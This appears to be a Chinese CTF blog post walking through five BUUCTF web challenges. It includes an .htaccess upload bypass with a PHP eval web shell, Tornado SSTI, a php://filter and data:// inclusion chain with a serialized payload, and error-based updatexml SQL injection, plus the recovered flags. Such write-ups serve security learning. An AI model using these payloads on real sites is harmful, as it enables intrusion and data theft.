BUUCTF-WEB(21-25)

[HCTF 2018]admin

这道题目就是admin说明得管理员登录

那我直接创一个admin的账号但是显示已经存在了

image-20240520153421132

说明用户名就是admin,然后我们直接爆破,也是爆破出来密码就是123

image-20240520153348549

直接登录

image-20240520153458355

[MRCTF2020]你传你🐎呢

这个题就是文件上传,我们MIME绕过,后缀名都被ban了,我们上传.htaccess绕过

<IfModule mime_module>
SetHandler application/x-httpd-php   
</IfModule>

image-20240520154404200

然后上传一句话木马

<?php @eval($_POST['cmd']);?>

image-20240520154550371

然后蚁剑连接,根目录找到flag

image-20240520154624010

护网杯 2018]easy_tornado

参考:

[护网杯 2018]easy_tornado 1(两种解法!)_easytornado-CSDN博客

SSTI入门详解-CSDN博客

打开题目,知道我们的hashfile是由cookie还有filename决定的

image-20240520160613418

image-20240520160456927

文件名我们是已经有了

image-20240520160629937

看了大佬的题解,他就是SSTI

error?msg={{handler.settings}}

image-20240520160737955

handler.settings就是

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

然后我们去加密文件名,然后和cookie拼接起来,在加密一次

cookie值

cc4783e1-81c0-44bc-9833-2272b1f64a7f

filename MD5加密后

3bf9f6cf685a6dd8defadabfb41a03a1

拼接后

cc4783e1-81c0-44bc-9833-2272b1f64a7f3bf9f6cf685a6dd8defadabfb41a03a1

再次加密

2c122b43eabf95f1ea4472881f56c7a2

访问

?filename=/fllllllllllllag&filehash=2c122b43eabf95f1ea4472881f56c7a2

image-20240520161101922

[ZJCTF 2019]NiZhuanSiWei

这道题是文件包含题+反序列化

image-20240520162837134

第一层就是要文本里面的内容是welcome to the zjctf

那我们就用data://text/plain

?text=data://text/plain,welcome to the zjctf

image-20240520162943942

第二关,他提示我们需要useless.php

我们查看useless.php的源码,用php://filter

?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

解码出来是这样

image-20240520163129073

第三关我们需要反序列化

image-20240520164126959

最后总的就是这个

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码,找到flag

image-20240520164155351

[极客大挑战 2019]HardSQL

参考:

[极客大挑战 2019]HardSQL 1-CSDN博客

[极客大挑战 2019]HardSQL-CSDN博客

这道题看大佬们的WP,我做这个sql题每次都被拷打

爆库:

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

image-20240520214859541

爆表:

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

image-20240520214941873

爆列:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image-20240520215014969

爆数据:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

image-20240520215129675

flag{9393e26b-77ea-42e0-

这里其实只能拿到一半flag,我之前也遇到这个问题,这次也是终于解决了

新知识:查不全时可用left(),right()

substring与mid被过滤可以用right与left来绕过

这里就用right

admin'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#

image-20240520215614292

完整的flag

flag{9393e26b-77ea-42e0-ace4-63d3a27718be}
posted @   Muneyoshi  阅读(34)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
点击右上角即可分享
微信分享提示